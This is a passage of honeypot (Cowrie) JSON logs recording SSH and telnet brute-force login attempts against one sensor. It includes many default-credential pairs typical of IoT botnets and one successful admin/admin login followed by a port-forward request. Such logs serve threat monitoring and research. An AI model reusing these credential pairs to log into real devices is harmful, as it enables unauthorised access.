af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:09:18.867798Z","src_ip":"79.116.23.158","session":"d1f856419773","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"abcd1234","message":"login attempt [testuser/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:09:19.305764Z","src_ip":"79.116.23.158","session":"d1f856419773","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:09:20.426656Z","src_ip":"79.116.23.158","session":"d1f856419773","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52436,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff0bafc4852c","protocol":"ssh","message":"New connection: 159.203.92.129:52436 (159.203.135.109:22) [session: ff0bafc4852c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:09:55.139305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:09:55.143187Z","src_ip":"159.203.92.129","session":"ff0bafc4852c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:09:55.146893Z","src_ip":"159.203.92.129","session":"ff0bafc4852c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Data","password":"korea2017","message":"login attempt [Data/korea2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:09:55.158810Z","src_ip":"159.203.92.129","session":"ff0bafc4852c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:09:56.165172Z","src_ip":"159.203.92.129","session":"ff0bafc4852c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.76.101.102","src_port":39265,"dst_ip":"10.17.0.5","dst_port":23,"session":"22695de647a4","protocol":"telnet","message":"New connection: 80.76.101.102:39265 (10.17.0.5:23) [session: 22695de647a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:06.066000Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazxsw","message":"login attempt [root/qazxsw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:06.489309Z","src_ip":"80.76.101.102","session":"22695de647a4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Admin","password":"5up","message":"login attempt [Admin/5up] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:06.942218Z","src_ip":"80.76.101.102","session":"22695de647a4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:07.366615Z","src_ip":"80.76.101.102","session":"22695de647a4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"ikwb","message":"login attempt [root/ikwb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:07.795016Z","src_ip":"80.76.101.102","session":"22695de647a4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pass","message":"login attempt [admin/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:08.222546Z","src_ip":"80.76.101.102","session":"22695de647a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":40936,"dst_ip":"10.17.0.5","dst_port":22,"session":"df47ba21c27f","protocol":"ssh","message":"New connection: 79.116.23.158:40936 (10.17.0.5:22) [session: df47ba21c27f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:12.946973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:12.952319Z","src_ip":"79.116.23.158","session":"df47ba21c27f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:13.072783Z","src_ip":"79.116.23.158","session":"df47ba21c27f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sopuser","password":"Changeme_123","message":"login attempt [sopuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:13.574610Z","src_ip":"79.116.23.158","session":"df47ba21c27f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:14.697577Z","src_ip":"79.116.23.158","session":"df47ba21c27f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.76.101.102","src_port":39298,"dst_ip":"10.17.0.5","dst_port":23,"session":"e689f144c690","protocol":"telnet","message":"New connection: 80.76.101.102:39298 (10.17.0.5:23) [session: e689f144c690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:26.849784Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:27.269847Z","src_ip":"80.76.101.102","session":"e689f144c690","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"tech","password":"tech","message":"login attempt [tech/tech] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:27.676182Z","src_ip":"80.76.101.102","session":"e689f144c690","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":24442,"dst_ip":"10.17.0.5","dst_port":22,"session":"b797c81b15b7","protocol":"ssh","message":"New connection: 87.251.64.176:24442 (10.17.0.5:22) [session: b797c81b15b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:27.999222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:28.003622Z","src_ip":"87.251.64.176","session":"b797c81b15b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cat1029","message":"login attempt [root/cat1029] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:28.080857Z","src_ip":"80.76.101.102","session":"e689f144c690","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:28.099774Z","src_ip":"87.251.64.176","session":"b797c81b15b7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:28.388027Z","src_ip":"87.251.64.176","session":"b797c81b15b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xc3511","message":"login attempt [root/xc3511] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:28.483774Z","src_ip":"80.76.101.102","session":"e689f144c690","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:28.489951Z","session":"b797c81b15b7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:28.587402Z","src_ip":"87.251.64.176","session":"b797c81b15b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:28.821880Z","src_ip":"87.251.64.176","session":"b797c81b15b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vizxv","message":"login attempt [root/vizxv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:28.889731Z","src_ip":"80.76.101.102","session":"e689f144c690","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54828,"dst_ip":"159.203.135.109","dst_port":22,"session":"22e7f26cf748","protocol":"ssh","message":"New connection: 159.203.92.129:54828 (159.203.135.109:22) [session: 22e7f26cf748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:39.941511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:39.945797Z","src_ip":"159.203.92.129","session":"22e7f26cf748","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:39.950126Z","src_ip":"159.203.92.129","session":"22e7f26cf748","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Data","password":"korea2018","message":"login attempt [Data/korea2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:39.963883Z","src_ip":"159.203.92.129","session":"22e7f26cf748","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:40.973188Z","src_ip":"159.203.92.129","session":"22e7f26cf748","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.76.101.102","src_port":39337,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8f24955900c","protocol":"telnet","message":"New connection: 80.76.101.102:39337 (10.17.0.5:23) [session: f8f24955900c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:47.869957Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"zsun1188","message":"login attempt [root/zsun1188] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:48.282042Z","src_ip":"80.76.101.102","session":"f8f24955900c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"jvbzd","message":"login attempt [root/jvbzd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:48.694392Z","src_ip":"80.76.101.102","session":"f8f24955900c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345","message":"login attempt [admin/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:49.109990Z","src_ip":"80.76.101.102","session":"f8f24955900c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1111","message":"login attempt [admin/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:49.526115Z","src_ip":"80.76.101.102","session":"f8f24955900c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Win1doW$","message":"login attempt [root/Win1doW$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:10:49.944293Z","src_ip":"80.76.101.102","session":"f8f24955900c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":59364,"dst_ip":"10.17.0.5","dst_port":22,"session":"88ec94982a6c","protocol":"ssh","message":"New connection: 79.116.23.158:59364 (10.17.0.5:22) [session: 88ec94982a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:04.899702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:04.906042Z","src_ip":"79.116.23.158","session":"88ec94982a6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:05.017352Z","src_ip":"79.116.23.158","session":"88ec94982a6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abc123456","message":"login attempt [admin/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:05.495388Z","src_ip":"79.116.23.158","session":"88ec94982a6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:06.611195Z","src_ip":"79.116.23.158","session":"88ec94982a6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.76.101.102","src_port":39372,"dst_ip":"10.17.0.5","dst_port":23,"session":"73c0346aaf42","protocol":"telnet","message":"New connection: 80.76.101.102:39372 (10.17.0.5:23) [session: 73c0346aaf42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:08.884784Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"54321","message":"login attempt [admin/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:09.330575Z","src_ip":"80.76.101.102","session":"73c0346aaf42","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"7ujMko0vizxv","message":"login attempt [root/7ujMko0vizxv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:09.765298Z","src_ip":"80.76.101.102","session":"73c0346aaf42","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:10.201118Z","src_ip":"80.76.101.102","session":"73c0346aaf42","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"password","message":"login attempt [admin1/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:10.635515Z","src_ip":"80.76.101.102","session":"73c0346aaf42","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1111111","message":"login attempt [admin/1111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:11.085292Z","src_ip":"80.76.101.102","session":"73c0346aaf42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56794,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a98a04aacab","protocol":"ssh","message":"New connection: 159.203.92.129:56794 (159.203.135.109:22) [session: 4a98a04aacab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:24.560733Z"}
